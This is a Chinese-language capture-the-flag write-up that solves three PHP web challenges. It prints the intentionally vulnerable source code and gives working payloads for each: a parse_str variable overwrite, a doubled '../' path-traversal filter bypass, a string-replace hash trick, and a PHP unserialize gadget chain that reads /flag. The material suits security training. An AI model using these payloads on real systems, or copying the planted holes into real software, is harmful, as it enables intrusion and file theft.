login.php
源码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
include_once("flag.php");
$data = ['username' => 'admin', 'password' => '0d4a90e58033e0415fea356308a809d'];
parse_str($_SERVER['QUERY_STRING']);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($username) || empty($username)) {
die('Please input username');
}
if (!isset($password) || empty($password)) {
die('Please input password');
}
if ($username !== $data['username']) {
die('Username ERROR');
}
else {
if (md5($password) === $data['password']) {
if(isset($_POST['file']))
{
$filename = "/tmp/" . $_POST['file'];
getContents($filename);
}
else
{
echo "Login Success" . "<br />";
}
}
else
{
die('Password ERROR');
}
}
}
function getContents($filename)
{
$filename = str_replace("../", "", $filename);
print_r(file_get_contents($filename));
}
?>
$data = ['username' => 'admin', 'password' => '0d4a90e58033e0415fea356308a809d'];
这里写了账号以及密码,但是 密码无法解出来,而 parse_str($_SERVER['QUERY_STRING']);存在一个 parse_str ,就说明我们可以进行变量覆盖。将原先的用户名密码覆盖,因此我们可以改变 $data 的值。
于是我们可以构造如下flag
?username=admin&password=123456&data[username]=admin&data[password]=e10adc3949ba5
9abbe56e057f20f883e
if ($_SERVER['REQUEST_METHOD'] === 'POST')由于这条语句,所以我们使用post方法传递这个payload
显示登陆成功,继续审计代码。
function getContents($filename)
{
$filename = str_replace("../", "", $filename);
print_r(file_get_contents($filename));
}
存在任意文件读取漏洞,$filename = str_replace("../", "", $filename);这个部分可以使用双写来进行绕过。
two
源码:
<?php
highlight_file(__FILE__);
include("secret.php");
$username=$_GET["username"];
$password=$_GET["password"];
$sha1=$_GET["sha1"];
if (stristr($username, $rootusername)) { #stristr() 函数搜索字符串在另一字符串中的第一次出现。未找到所搜索的字符串,则返回 FALSE
echo "nonono";
return;
}
$password=str_replace($rootusername, "", $password); #str_replace() 函数替换字符串中的一些字符(区分大小写)。$password中有$rootusername,则替换为空
$md5=md5($username.$password.$secret);
$yoursha1=sha1($username.$password.$secret);
echo "youe sha1 is".$yoursha1;
if ($md5===md5($rootusername.$rootpassord.$secret) && $sha1===sha1($rootusername.$rootpassword.$secret) ) {
echo $flag;
}
?>
此题应该缺少某个文件,可以获得username与password。
获得username与password后将password双写并将username后几个字符移至password前绕过获取sha1,令sha1等于该sha1获取flag。
假设username=admin ;password=123456
payload:?username=1admi&password=n123451234566获得sha1
?username=1admi&password=n123451234566&sha1=sha1获得flag
three
源码
<?php
highlight_file("index.php");
class A{
public $files;
public function findFile()
{
echo $this->files;
if (file_exists(base64_decode($this->files->filepath)))
{
echo "This is a file";
}else{
echo "File not found";
}
}
public function __destruct()
{
$this->findFile();
}
}
class B{
public $filepath;
public function shutdown()
{
die("no");
}
public function __toString()
{
$result = $this->filepath;
if (strstr($result,"L2ZsYWc") || strlen($result)>8){
$this->shutdown();
}
$result = base64_decode($result);
$content = file_get_contents($result);
echo $content;
return "";
}
}
@$a = $_GET['a'];
@unserialize(base64_decode($a));
class A中的echo操作会触发toString方法,利用class B的toString方法可以读取文件,toString方法后会判断filepath参数中是否包含L2ZsYwc经过base64解码为/flag。
php对base64解码的宽容性,在其中加入特殊字符如@等,同时去掉末尾的=(满足长度要求),所以最后的控制$this->filepath为L2@ZsYWc即可绕过判断读取flag
payload:
<?php
class A
{
public $files;
public function __construct()
{
$this->files=new B();
}
}
class B{
public $filepath;
public function __construct()
{
//此处为想要读取的文件路径
$this->filepath = "L2@ZsYWc";
}
}
$a = new A();
echo base64_encode(serialize($a));
将生成的参数传递给a即可得到flag。
标签:username,WEB,filepath,filename,解题,result,file,思路,password From: https://www.cnblogs.com/CHOSEN1-Z13/p/16940691.html